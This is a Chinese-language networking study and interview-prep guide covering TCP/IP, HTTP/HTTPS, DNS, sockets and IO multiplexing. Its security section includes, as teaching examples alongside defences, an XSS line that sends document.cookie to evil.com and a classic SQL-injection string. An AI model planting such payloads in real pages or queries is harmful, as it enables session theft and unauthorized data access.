目录
一、网络分层模型
1.1 OSI 七层模型 vs TCP/IP 四层模型
OSI 七层模型 TCP/IP 四层模型 常见协议
+------------------+ +------------------+
| 应用层 | | | HTTP, FTP, SMTP, DNS
+------------------+ | 应用层 |
| 表示层 | | | SSL/TLS, JPEG
+------------------+ +------------------+
| 会话层 |
+------------------+ +------------------+
| 传输层 | | 传输层 | TCP, UDP
+------------------+ +------------------+
| 网络层 | | 网络层 | IP, ICMP, ARP
+------------------+ +------------------+
| 数据链路层 | | | Ethernet, PPP
+------------------+ | 网络接口层 |
| 物理层 | | | 物理介质
+------------------+ +------------------+1.2 数据封装过程
应用层数据
↓ + TCP/UDP 头
传输层段 (Segment)
↓ + IP 头
网络层包 (Packet)
↓ + 帧头 + 帧尾
数据链路层帧 (Frame)
↓
物理层比特流1.3 各层核心功能
层次 | 核心功能 | 关键设备 |
应用层 | 提供网络服务接口 | - |
传输层 | 端到端通信、可靠传输 | - |
网络层 | 路由选择、逻辑寻址 | 路由器 |
数据链路层 | 帧传输、差错检测 | 交换机 |
物理层 | 比特传输 | 集线器、网线 |
二、TCP 协议详解
2.1 TCP 头部结构
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
| Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+重要字段:
- 序列号 (Seq):数据字节的编号
- 确认号 (Ack):期望收到的下一个字节编号
- 标志位:SYN(建立连接)、ACK(确认)、FIN(关闭连接)、RST(重置)、PSH(推送)
2.2 三次握手(重点)
客户端 服务端
| |
| -------- SYN, Seq=x ----------------------> |
| (SYN_SENT) (LISTEN → SYN_RCVD)
| |
| <------ SYN+ACK, Seq=y, Ack=x+1 ---------- |
| |
| -------- ACK, Seq=x+1, Ack=y+1 ----------> |
| (ESTABLISHED) (ESTABLISHED)
| |为什么是三次握手?
1. 确认双方收发能力:
- 第一次:服务端确认客户端发送能力
- 第二次:客户端确认服务端收发能力
- 第三次:服务端确认客户端接收能力
- 防止历史连接:避免旧的 SYN 报文建立错误连接
- 同步初始序列号:双方交换并确认 ISN
SYN 攻击:
- 攻击者发送大量 SYN 但不回复 ACK
- 服务端维护大量半连接,资源耗尽
- 防御:SYN Cookie、限制半连接数
2.3 四次挥手(重点)
客户端 服务端
| |
| -------- FIN, Seq=u ----------------------> |
| (FIN_WAIT_1) (CLOSE_WAIT)
| |
| <-------- ACK, Ack=u+1 ------------------- |
| (FIN_WAIT_2) |
| |
| <-------- FIN, Seq=v -------------------- |
| (TIME_WAIT) (LAST_ACK)
| |
| -------- ACK, Ack=v+1 --------------------> |
| (CLOSED)
| 等待 2MSL |
| (CLOSED) |为什么是四次挥手?
- TCP 是全双工,每个方向需要单独关闭
- 服务端收到 FIN 后可能还有数据要发送,不能立即发 FIN
为什么需要 TIME_WAIT?
1. 确保最后的 ACK 到达:若丢失,服务端会重发 FIN
2. 让旧连接的报文消失:2MSL 足够让网络中残留报文失效
TIME_WAIT 过多的问题:
- 占用端口和内存
- 解决:调整内核参数、使用 SO_REUSEADDR
2.4 可靠传输机制
序列号与确认应答
发送方 接收方
| -------- Seq=1, Data(100B) -------> |
| <-------- ACK=101 ----------------- | 期望下一个是 101
| -------- Seq=101, Data(100B) -----> |
| <-------- ACK=201 ----------------- |超时重传
发送方 接收方
| -------- Seq=1 ------------------> |
| (丢失) |
| 超时 |
| -------- Seq=1 (重传) -----------> |
| <-------- ACK=101 --------------- |RTO(重传超时时间):动态计算,基于 RTT
快速重传
发送方 接收方
| -------- Seq=1 ------------------> |
| -------- Seq=2 ------------------> | (丢失)
| -------- Seq=3 ------------------> |
| <-------- ACK=2 (重复) ----------- |
| -------- Seq=4 ------------------> |
| <-------- ACK=2 (重复) ----------- |
| -------- Seq=5 ------------------> |
| <-------- ACK=2 (重复) ----------- |
| 收到 3 个重复 ACK,立即重传 Seq=2 |2.5 流量控制
滑动窗口机制:接收方通过 Window 字段告知发送方可接收的数据量
发送窗口
+---+---+---+---+---+---+---+---+---+---+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 |10 |
+---+---+---+---+---+---+---+---+---+---+
|已确认 | 已发送待确认 | 可发送 |不可发送|
↑ ↑ ↑
base nextseq base+window零窗口问题:
- 接收方窗口为 0,发送方停止发送
- 发送方定期发送窗口探测报文
2.6 拥塞控制(重点)
四个算法:慢启动、拥塞避免、快重传、快恢复
cwnd (拥塞窗口)
|
| * 快恢复
| /
| *--------*
| / \
| / * 超时,重新慢启动
| / \
| / 拥塞避免 \
| / \
| / \
| * ssthresh \
| / \
|/ 慢启动 \
+------------------------------> 时间慢启动:
- 初始 cwnd = 1 MSS
- 每收到一个 ACK,cwnd += 1(指数增长)
- 达到 ssthresh 后进入拥塞避免
拥塞避免:
- cwnd 每个 RTT 加 1(线性增长)
快重传:
- 收到 3 个重复 ACK,立即重传
快恢复:
- ssthresh = cwnd / 2
- cwnd = ssthresh + 3
- 继续拥塞避免(不回到慢启动)
2.7 TCP 粘包/拆包
原因:
- TCP 是字节流协议,无消息边界
- Nagle 算法合并小包
- 接收缓冲区读取时机
解决方案:
1. 固定长度:每个消息固定大小
2. 分隔符:如
\r\n
3. 长度字段:消息头包含长度信息(推荐)+--------+----------------+
| Length | Data |
| 4 bytes| N bytes |
+--------+----------------+2.8 TIME_WAIT 过多问题
影响:
- 占用端口资源(端口耗尽)
- 占用内存(socket 结构)
- 影响新连接建立
解决方案:
# 1. 开启端口复用
sysctl -w net.ipv4.tcp_tw_reuse=1
# 2. 缩短 TIME_WAIT 时间(不推荐)
sysctl -w net.ipv4.tcp_fin_timeout=30
# 3. 增加可用端口范围
sysctl -w net.ipv4.ip_local_port_range="1024 65535"
# 4. 使用连接池,减少短连接代码层面:
int reuse = 1;
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse));2.9 CLOSE_WAIT 过多原因
原因:服务端收到 FIN 后未调用 close()
客户端发送 FIN → 服务端进入 CLOSE_WAIT
↓
服务端应该调用 close() 发送 FIN
但如果没有调用,就一直停在 CLOSE_WAIT常见场景:
- 代码 bug:未正确关闭连接
- 阻塞在业务逻辑,未及时处理
- 资源泄漏
排查:
netstat -an | grep CLOSE_WAIT | wc -l
lsof -i -P | grep CLOSE_WAIT2.10 超时重传与快速重传
超时重传(RTO):
发送方 接收方
| ---Seq=1---> (丢失) |
| |
| 超时(RTO) |
| ---Seq=1---> (重传) |
| <---ACK=2--- |RTO 计算:基于 RTT 动态调整
SRTT = (1-α) × SRTT + α × RTT
RTO = SRTT + 4 × RTTVAR快速重传:
- 收到 3 个重复 ACK 立即重传
- 不等待超时,更快恢复
2.11 TCP 半连接队列与全连接队列
客户端 服务端
| |
| ---SYN---> |
| 半连接队列 ← 加入
| <---SYN+ACK--- |
| ---ACK---> |
| 全连接队列 ← 移入
| accept() 取出队列满的处理:
- 半连接队列满:丢弃 SYN 或启用 SYN Cookie
- 全连接队列满:丢弃连接或发送 RST
查看队列:
# 全连接队列大小
ss -lnt | grep :80
# 溢出统计
netstat -s | grep overflow2.12 TCP Keepalive
int keepalive = 1;
int keepidle = 60; // 空闲 60s 后开始探测
int keepintvl = 10; // 探测间隔 10s
int keepcnt = 3; // 探测 3 次无响应则断开
setsockopt(sockfd, SOL_SOCKET, SO_KEEPALIVE, &keepalive, sizeof(keepalive));
setsockopt(sockfd, IPPROTO_TCP, TCP_KEEPIDLE, &keepidle, sizeof(keepidle));
setsockopt(sockfd, IPPROTO_TCP, TCP_KEEPINTVL, &keepintvl, sizeof(keepintvl));
setsockopt(sockfd, IPPROTO_TCP, TCP_KEEPCNT, &keepcnt, sizeof(keepcnt));用途:
- 检测死连接
- 防止 NAT 超时断开
三、UDP 协议
3.1 UDP 特点
特性 | 说明 |
无连接 | 不需要建立连接 |
不可靠 | 不保证送达、顺序 |
面向报文 | 保留消息边界 |
头部开销小 | 8 字节 |
支持广播/多播 | 一对多通信 |
3.2 UDP 头部
0 7 8 15 16 23 24 31
+--------+--------+--------+--------+
| Source | Destination |
| Port | Port |
+--------+--------+--------+--------+
| Length | Checksum |
+--------+--------+--------+--------+
| |
| Data |
| |
+-----------------------------------+3.3 UDP 应用场景
- DNS 查询:快速、简单
- 视频/音频流:实时性要求高,允许丢包
- 游戏:低延迟
- DHCP:广播获取 IP
3.4 如何实现可靠 UDP?
在应用层实现:
1. 序列号:检测丢包和乱序
2. 确认应答:ACK 机制
3. 超时重传
4. 滑动窗口:流量控制
典型实现:QUIC 协议(HTTP/3 底层)
3.5 QUIC 协议
特点:
- 基于 UDP,在应用层实现可靠传输
- 0-RTT 连接建立(已知服务器时)
- 多路复用无队头阻塞
- 连接迁移(IP 变化不断连接)
TCP + TLS 握手:3 RTT
QUIC 首次连接:1 RTT
QUIC 恢复连接:0 RTT四、IP 协议与网络层
4.1 IPv4 地址
32 位地址,点分十进制表示
192.168.1.1 = 11000000.10101000.00000001.00000001地址分类:
类别 | 范围 | 私有地址 |
A 类 | 1.0.0.0 - 126.255.255.255 | 10.0.0.0/8 |
B 类 | 128.0.0.0 - 191.255.255.255 | 172.16.0.0/12 |
C 类 | 192.0.0.0 - 223.255.255.255 | 192.168.0.0/16 |
4.2 子网划分与 CIDR
192.168.1.0/24
↓
网络部分:192.168.1(24位)
主机部分:0-255(8位)
子网掩码:255.255.255.04.3 NAT 网络地址转换
内网主机 NAT 设备 外网服务器
192.168.1.100 公网 IP: 1.2.3.4 8.8.8.8
| | |
| src: 192.168.1.100:5000 |
| ----------------> | |
| | src: 1.2.3.4:10000|
| | ----------------> |
| | |
| | <---------------- |
| <---------------- | |NAT 类型:
- 静态 NAT:一对一映射
- 动态 NAT:多对多映射
- NAPT:端口地址转换(最常用)
4.4 ARP 协议
作用:IP 地址 → MAC 地址
1. 主机 A 广播 ARP 请求:"谁是 192.168.1.2?"
2. 主机 B 单播回复:"我是 192.168.1.2,MAC 是 xx:xx:xx:xx:xx:xx"
3. 主机 A 缓存映射关系4.5 ICMP 协议
作用:网络诊断和错误报告
类型 | 用途 |
Echo Request/Reply | ping 命令 |
Destination Unreachable | 目标不可达 |
Time Exceeded | TTL 超时(traceroute) |
Redirect | 路由重定向 |
ping 8.8.8.8 # 发送 ICMP Echo Request
traceroute 8.8.8.8 # 利用 TTL 递增探测路径4.6 IPv4 vs IPv6
特性 | IPv4 | IPv6 |
地址长度 | 32 位 | 128 位 |
地址数量 | 约 43 亿 | 约 3.4×10^38 |
表示方法 | 点分十进制 | 冒号十六进制 |
NAT | 需要 | 不需要 |
安全性 | 可选 IPSec | 内置 IPSec |
4.7 IP 分片与重组
为什么需要分片:
- 不同网络 MTU(最大传输单元)不同
- 以太网 MTU 通常为 1500 字节
- IP 数据包超过 MTU 需要分片
分片字段:
| 字段 | 说明 |
|——|——|
| 标识(ID) | 同一数据包的分片使用相同 ID |
| 标志(DF/MF) | DF=不分片,MF=更多分片 |
| 片偏移 | 分片在原数据包中的位置 |
问题:
- 分片增加丢包概率
- 重组消耗资源
- 建议:设置 DF 位,使用 Path MTU Discovery
五、HTTP/HTTPS
5.1 HTTP 请求方法
方法 | 说明 | 幂等 | 安全 |
GET | 获取资源 | ✅ | ✅ |
POST | 提交数据 | ❌ | ❌ |
PUT | 更新资源(全量) | ✅ | ❌ |
PATCH | 更新资源(部分) | ❌ | ❌ |
DELETE | 删除资源 | ✅ | ❌ |
HEAD | 获取头部 | ✅ | ✅ |
OPTIONS | 查询支持的方法 | ✅ | ✅ |
5.2 GET vs POST
特性 | GET | POST |
参数位置 | URL 中 | 请求体中 |
参数长度 | 受 URL 长度限制 | 无限制 |
缓存 | 可缓存 | 不可缓存 |
历史记录 | 保留在浏览器历史 | 不保留 |
幂等性 | 幂等 | 非幂等 |
安全性 | 参数暴露在 URL | 相对安全 |
5.3 HTTP 状态码
分类 | 含义 | 常见状态码 |
1xx | 信息性 | 100 Continue |
2xx | 成功 | 200 OK, 201 Created, 204 No Content |
3xx | 重定向 | 301 永久重定向, 302 临时重定向, 304 未修改 |
4xx | 客户端错误 | 400 Bad Request, 401 未授权, 403 禁止, 404 未找到 |
5xx | 服务端错误 | 500 服务器错误, 502 Bad Gateway, 503 服务不可用 |
5.4 HTTP 版本演进
版本 | 特点 |
HTTP/1.0 | 短连接,每次请求新建连接 |
HTTP/1.1 | 持久连接、管道化、Host 头、分块传输 |
HTTP/2 | 多路复用、头部压缩、服务器推送、二进制帧 |
HTTP/3 | 基于 QUIC(UDP)、更快的连接建立 |
HTTP/2 多路复用:
HTTP/1.1: 请求1 → 响应1 → 请求2 → 响应2(队头阻塞)
HTTP/2: 请求1 ↘
请求2 → 多路复用 → 响应1, 响应2(并行)
请求3 ↗5.5 HTTPS 原理(重点)
HTTPS = HTTP + TLS/SSL
TLS 握手过程
客户端 服务端
| |
| -------- ClientHello ----------------------> |
| (支持的加密套件、随机数 Client Random)
| |
| <------- ServerHello ----------------------- |
| (选择的加密套件、随机数 Server Random)
| <------- Certificate ------------------------ |
| (服务器证书)
| <------- ServerHelloDone ------------------- |
| |
| 客户端验证证书 |
| 生成预主密钥 Pre-Master Secret |
| |
| -------- ClientKeyExchange ---------------> |
| (用服务器公钥加密的预主密钥)
| -------- ChangeCipherSpec ----------------> |
| -------- Finished ------------------------> |
| |
| <------- ChangeCipherSpec ------------------ |
| <------- Finished -------------------------- |
| |
| ========= 加密通信 ========================= |密钥生成:
Master Secret = PRF(Pre-Master Secret, Client Random, Server Random)对称加密 vs 非对称加密
特性 | 对称加密 | 非对称加密 |
密钥 | 相同密钥 | 公钥 + 私钥 |
速度 | 快 | 慢 |
用途 | 数据加密 | 密钥交换、数字签名 |
算法 | AES, DES | RSA, ECC |
HTTPS 混合加密:
- 非对称加密交换密钥
- 对称加密传输数据
5.6 HTTP 缓存
强缓存
Cache-Control: max-age=3600 # 缓存 1 小时
Expires: Thu, 01 Dec 2024 16:00:00 GMT # 过期时间- 未过期直接使用缓存,不发请求
- Cache-Control 优先级高于 Expires
协商缓存
# 请求
If-Modified-Since: Thu, 01 Dec 2024 00:00:00 GMT
If-None-Match: "abc123"
# 响应
Last-Modified: Thu, 01 Dec 2024 00:00:00 GMT
ETag: "abc123"- 发送请求验证资源是否变化
- 未变化返回 304,使用缓存
- ETag 优先级高于 Last-Modified
5.7 Cookie 与 Session
特性 | Cookie | Session |
存储位置 | 客户端 | 服务端 |
安全性 | 较低 | 较高 |
大小限制 | 4KB | 无限制 |
生命周期 | 可设置过期时间 | 会话结束或超时 |
Session 实现:
1. 服务端创建 Session,生成 SessionID
2. SessionID 通过 Cookie 发送给客户端
3. 后续请求携带 Cookie,服务端查找 Session
5.8 301 vs 302 重定向
状态码 | 含义 | 缓存 | 适用场景 |
301 | 永久重定向 | 浏览器缓存 | 域名更换、HTTP→HTTPS |
302 | 临时重定向 | 不缓存 | 临时跳转、登录后跳转 |
5.9 WebSocket
特点:
- 全双工通信
- 基于 TCP,通过 HTTP 升级握手
- 持久连接,服务器可主动推送
客户端 服务端
| GET /chat HTTP/1.1 |
| Upgrade: websocket |
| Connection: Upgrade |
| -------------------------------->|
| |
| HTTP/1.1 101 Switching Protocols |
| Upgrade: websocket |
| <--------------------------------|
| |
| <======= 双向通信 =======> |5.10 CDN 原理
内容分发网络:将内容缓存到离用户最近的边缘节点
用户 → DNS → CDN 调度 → 最近边缘节点 → 缓存命中返回
↓ 未命中
回源到源站优势:
- 降低延迟
- 减轻源站压力
- 提高可用性
5.11 正向代理 vs 反向代理
特性 | 正向代理 | 反向代理 |
代理对象 | 客户端 | 服务端 |
用户感知 | 知道代理存在 | 不知道 |
用途 | 翻墙、缓存、匿名 | 负载均衡、安全、缓存 |
典型 | VPN、Shadowsocks | Nginx、HAProxy |
5.12 HTTP 请求头与响应头
常见请求头:
| 头部 | 说明 |
|——|——|
| Host | 目标主机 |
| User-Agent | 客户端信息 |
| Accept | 可接受的内容类型 |
| Content-Type | 请求体类型 |
| Authorization | 认证信息 |
| Cookie | Cookie 数据 |
常见响应头:
| 头部 | 说明 |
|——|——|
| Content-Type | 响应体类型 |
| Content-Length | 响应体长度 |
| Set-Cookie | 设置 Cookie |
| Cache-Control | 缓存控制 |
| Location | 重定向地址 |
5.13 RESTful API 设计
方法 | 路径 | 说明 |
GET | /users | 获取用户列表 |
GET | /users/{id} | 获取单个用户 |
POST | /users | 创建用户 |
PUT | /users/{id} | 更新用户(全量) |
PATCH | /users/{id} | 更新用户(部分) |
DELETE | /users/{id} | 删除用户 |
设计原则:
- 使用名词复数表示资源
- 使用 HTTP 方法表示操作
- 使用状态码表示结果
- 版本控制:
/api/v1/users5.14 HTTPS 中间人攻击
攻击原理:
客户端 ←→ 攻击者 ←→ 服务器
伪造证书 正常通信防御措施:
1. 证书验证:验证证书链、域名、有效期
2. 证书锁定(Certificate Pinning):预置服务器证书
3. HSTS:强制使用 HTTPS
4. 证书透明度(CT):监控证书签发
5.15 浏览器缓存机制
请求资源
↓
强缓存检查(Cache-Control/Expires)
↓ 未过期 → 直接使用缓存(200 from cache)
↓ 过期
协商缓存检查(ETag/Last-Modified)
↓ 未修改 → 304 Not Modified
↓ 已修改 → 200 + 新资源缓存位置:
1. Memory Cache:内存缓存,快速但容量小
2. Disk Cache:磁盘缓存,容量大但较慢
3. Service Worker:可编程缓存
六、DNS 域名解析
6.1 DNS 解析过程
1. 浏览器缓存
2. 操作系统缓存 (hosts 文件)
3. 本地 DNS 服务器
4. 根域名服务器 (.)
5. 顶级域名服务器 (.com)
6. 权威域名服务器 (example.com)客户端 本地DNS 根DNS .com DNS example.com DNS
| | | | |
| www.example.com| | | |
| -------------> | | | |
| | 查询根服务器 | | |
| | ------------> | | |
| | <------------ | | |
| | (.com 服务器地址) | |
| | | | |
| | 查询 .com 服务器 | |
| | ----------------------------> | |
| | <---------------------------- | |
| | (example.com 服务器地址) | |
| | | | |
| | 查询权威服务器 |
| | ---------------------------------------------> |
| | <--------------------------------------------- |
| | (IP 地址) |
| <------------- | | | |
| (IP 地址) | | | |6.2 DNS 记录类型
类型 | 说明 |
A | 域名 → IPv4 地址 |
AAAA | 域名 → IPv6 地址 |
CNAME | 域名别名 |
MX | 邮件服务器 |
NS | 域名服务器 |
TXT | 文本记录 |
6.3 DNS 缓存与 TTL
缓存层级:
1. 浏览器缓存(几分钟)
2. 操作系统缓存
3. 本地 DNS 服务器缓存
4. 各级 DNS 服务器缓存
TTL(Time To Live):
- DNS 记录的缓存有效期
- TTL 越短,更新越快,但查询压力越大
- 典型值:300-3600 秒
6.4 DNS 劫持与防护
DNS 劫持类型:
| 类型 | 说明 |
|——|——|
| 本地劫持 | 修改 hosts 文件或本地 DNS |
| 路由器劫持 | 篡改路由器 DNS 设置 |
| 运营商劫持 | ISP 篡改 DNS 响应 |
| 中间人劫持 | 拦截 DNS 请求并伪造响应 |
防护措施:
1. DNSSEC:DNS 安全扩展,数字签名验证
2. DoH(DNS over HTTPS):加密 DNS 查询
3. DoT(DNS over TLS):TLS 加密 DNS
4. 使用可信 DNS:如 8.8.8.8、1.1.1.1
七、网络编程
7.1 Socket 编程流程
TCP 服务端:
// 1. 创建 socket
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
// 2. 绑定地址
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(8080);
addr.sin_addr.s_addr = INADDR_ANY;
bind(sockfd, (struct sockaddr*)&addr, sizeof(addr));
// 3. 监听
listen(sockfd, 128);
// 4. 接受连接
int clientfd = accept(sockfd, NULL, NULL);
// 5. 收发数据
recv(clientfd, buf, sizeof(buf), 0);
send(clientfd, msg, strlen(msg), 0);
// 6. 关闭
close(clientfd);
close(sockfd);TCP 客户端:
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
connect(sockfd, (struct sockaddr*)&addr, sizeof(addr));
send(sockfd, msg, strlen(msg), 0);
recv(sockfd, buf, sizeof(buf), 0);
close(sockfd);7.2 IO 多路复用(重点)
select
fd_set readfds;
FD_ZERO(&readfds);
FD_SET(sockfd, &readfds);
select(maxfd + 1, &readfds, NULL, NULL, NULL);
if (FD_ISSET(sockfd, &readfds)) {
// sockfd 可读
}缺点:
- 最大 1024 个 fd
- 每次调用需拷贝 fd_set
- 返回后需遍历所有 fd
poll
struct pollfd fds[1024];
fds[0].fd = sockfd;
fds[0].events = POLLIN;
poll(fds, nfds, -1);
if (fds[0].revents & POLLIN) {
// sockfd 可读
}改进:无 1024 限制
缺点:仍需遍历
epoll(Linux 高性能)
// 创建 epoll 实例
int epfd = epoll_create(1);
// 添加监听
struct epoll_event ev;
ev.events = EPOLLIN;
ev.data.fd = sockfd;
epoll_ctl(epfd, EPOLL_CTL_ADD, sockfd, &ev);
// 等待事件
struct epoll_event events[1024];
int n = epoll_wait(epfd, events, 1024, -1);
for (int i = 0; i < n; i++) {
if (events[i].data.fd == sockfd) {
// 处理事件
}
}epoll 优势:
1. 无 fd 数量限制
2. O(1) 事件通知:内核通过回调通知就绪 fd
3. 只返回就绪 fd:无需遍历
4. mmap 共享内存:减少拷贝
三者对比
特性 | select | poll | epoll |
fd 数量 | 1024 | 无限制 | 无限制 |
fd 拷贝 | 每次 | 每次 | 一次(注册时) |
事件通知 | 遍历 | 遍历 | 回调 |
时间复杂度 | O(n) | O(n) | O(1) |
7.3 IO 模型
模型 | 说明 |
阻塞 IO | 调用阻塞直到数据就绪 |
非阻塞 IO | 立即返回,轮询检查 |
IO 多路复用 | select/poll/epoll 监听多个 fd |
信号驱动 IO | 数据就绪时发送信号 |
异步 IO | 内核完成 IO 后通知应用 |
7.4 Reactor 模式
+-------------------+
| Main Reactor |
| (accept 连接) |
+--------+----------+
|
+--------------+--------------+
| | |
+--------v----+ +------v------+ +----v--------+
| Sub Reactor | | Sub Reactor | | Sub Reactor |
| (处理 IO) | | (处理 IO) | | (处理 IO) |
+-------------+ +-------------+ +-------------+单 Reactor 单线程:Redis
单 Reactor 多线程:
主从 Reactor 多线程:Nginx、Netty
7.5 Proactor 模式
应用程序 操作系统
| |
| 发起异步读操作 |
| ----------------------------------> |
| |
| (应用程序可以做其他事) |
| |
| <-- 操作完成,回调通知 ------------- |
| |
| 处理数据 |模式 | 事件类型 | 数据读取 | 典型实现 |
Reactor | 就绪事件 | 应用程序读取 | epoll、select |
Proactor | 完成事件 | 操作系统完成 | Windows IOCP、Linux AIO |
7.6 惊群效应
问题:多个进程/线程同时监听同一端口,新连接到来时全部被唤醒,但只有一个能处理
解决方案:
1. SO_REUSEPORT:内核级负载均衡,每个进程独立 socket
2. accept 加锁:Nginx 使用 accept_mutex
3. EPOLLEXCLUSIVE:Linux 4.5+ 只唤醒一个
7.7 C10K 问题
问题:单机如何支持 1 万个并发连接
解决方案:
1. IO 多路复用:epoll 替代 select/poll
2. 非阻塞 IO
3. 减少上下文切换:协程、事件驱动
4. 连接池复用
C10M 问题:内核旁路(DPDK)、用户态协议栈
八、网络安全
8.1 常见攻击
SYN Flood
- 发送大量 SYN 不回复 ACK
- 耗尽服务器半连接队列
- 防御:SYN Cookie、限制半连接数
DDoS
- 分布式拒绝服务攻击
- 防御:CDN、流量清洗、限流
中间人攻击
- 攻击者位于通信双方之间
- 防御:HTTPS、证书验证
XSS(跨站脚本攻击)
<!-- 恶意脚本注入 -->
<script>document.location='http://evil.com?cookie='+document.cookie</script>- 防御:输入过滤、输出编码、CSP
CSRF(跨站请求伪造)
- 利用用户已登录状态发起恶意请求
- 防御:CSRF Token、SameSite Cookie
SQL 注入
-- 输入: ' OR '1'='1
SELECT * FROM users WHERE username='' OR '1'='1'- 防御:参数化查询、输入验证
8.2 CORS 跨域
同源策略:协议、域名、端口必须相同
CORS 解决方案:
# 服务端响应头
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Credentials: true简单请求 vs 预检请求:
- 简单请求:GET/POST/HEAD,标准头部
- 预检请求:其他方法或自定义头部,先发 OPTIONS
8.3 负载均衡算法
算法 | 说明 | 适用场景 |
轮询 | 依次分配 | 服务器性能相近 |
加权轮询 | 按权重分配 | 服务器性能不同 |
随机 | 随机选择 | 简单场景 |
最少连接 | 选择连接数最少的 | 长连接场景 |
IP 哈希 | 相同 IP 到同一服务器 | 会话保持 |
一致性哈希 | 减少节点变化影响 | 缓存场景 |
8.4 数据封装与解封装过程
发送端:
应用层数据
↓ 添加 TCP/UDP 头
传输层段(Segment)
↓ 添加 IP 头
网络层包(Packet)
↓ 添加帧头 + 帧尾(MAC 地址 + CRC)
数据链路层帧(Frame)
↓ 转换为比特流
物理层信号
接收端:逆向过程各层添加的信息:
| 层次 | 添加信息 |
|——|———-|
| 传输层 | 源/目的端口、序列号、校验和 |
| 网络层 | 源/目的 IP、TTL、协议类型 |
| 数据链路层 | 源/目的 MAC、帧类型、CRC |
九、高频面试题与答案
Q1: 输入 URL 到页面显示的全过程?
答案:
- URL 解析:解析协议、域名、端口、路径
- DNS 解析:域名 → IP 地址
- 建立 TCP 连接:三次握手
- TLS 握手(HTTPS):协商加密参数
- 发送 HTTP 请求
- 服务器处理请求:返回响应
- 浏览器解析渲染:
- 解析 HTML → DOM 树
- 解析 CSS → CSSOM 树
- 合成渲染树
- 布局、绘制
- 断开连接:四次挥手
Q2: TCP 三次握手过程?为什么是三次?
答案:
过程:
1. 客户端发送 SYN,进入 SYN_SENT
2. 服务端收到后发送 SYN+ACK,进入 SYN_RCVD
3. 客户端发送 ACK,双方进入 ESTABLISHED
为什么三次:
1. 确认双方收发能力
2. 防止历史连接:旧 SYN 到达时,服务端回复 SYN+ACK,客户端发现序列号不对,发送 RST
3. 同步初始序列号
Q3: TCP 四次挥手过程?为什么是四次?
答案:
过程:
1. 客户端发送 FIN,进入 FIN_WAIT_1
2. 服务端回复 ACK,进入 CLOSE_WAIT
3. 服务端发送 FIN,进入 LAST_ACK
4. 客户端回复 ACK,进入 TIME_WAIT,等待 2MSL 后关闭
为什么四次:
- TCP 全双工,每个方向单独关闭
- 服务端收到 FIN 后可能还有数据要发
Q4: TCP 如何保证可靠传输?
答案:
- 序列号和确认应答:每个字节编号,接收方确认
- 超时重传:未收到 ACK 则重传
- 快速重传:3 个重复 ACK 立即重传
- 流量控制:滑动窗口,防止发送过快
- 拥塞控制:慢启动、拥塞避免、快恢复
- 校验和:检测数据损坏
Q5: TCP 和 UDP 的区别?
答案:
特性 | TCP | UDP |
连接 | 面向连接 | 无连接 |
可靠性 | 可靠 | 不可靠 |
有序性 | 保证顺序 | 不保证 |
传输方式 | 字节流 | 报文 |
头部大小 | 20+ 字节 | 8 字节 |
速度 | 较慢 | 较快 |
应用 | HTTP、FTP | DNS、视频流 |
Q6: GET 和 POST 的区别?
答案:
特性 | GET | POST |
参数位置 | URL | 请求体 |
参数长度 | 受限 | 无限制 |
缓存 | 可缓存 | 不可缓存 |
幂等性 | 幂等 | 非幂等 |
安全性 | 参数暴露 | 相对安全 |
Q7: HTTPS 的加密过程?
答案:
- TLS 握手:
- 客户端发送支持的加密套件
- 服务端选择套件,发送证书
- 客户端验证证书
- 客户端生成预主密钥,用公钥加密发送
- 双方计算会话密钥
- 混合加密:
- 非对称加密交换密钥
- 对称加密传输数据
Q8: select、poll、epoll 的区别?
答案:
特性 | select | poll | epoll |
fd 限制 | 1024 | 无 | 无 |
数据结构 | 数组 | 链表 | 红黑树 + 链表 |
拷贝 | 每次全量 | 每次全量 | 注册时一次 |
事件通知 | 遍历 | 遍历 | 回调 |
复杂度 | O(n) | O(n) | O(1) |
Q9: 什么是 TIME_WAIT?为什么需要?
答案:
- 主动关闭方发送最后一个 ACK 后进入的状态
- 持续 2MSL(约 60 秒)
原因:
1. 确保最后的 ACK 到达:若丢失,对方会重发 FIN
2. 让旧连接的报文消失:防止影响新连接
Q10: 什么是拥塞控制?有哪些算法?
答案:
拥塞控制:防止过多数据注入网络,避免网络拥塞
算法:
1. 慢启动:cwnd 从 1 开始指数增长
2. 拥塞避免:达到阈值后线性增长
3. 快重传:3 个重复 ACK 立即重传
4. 快恢复:不回到慢启动,从阈值开始
最后更新:2026-01-09






Loading Comments...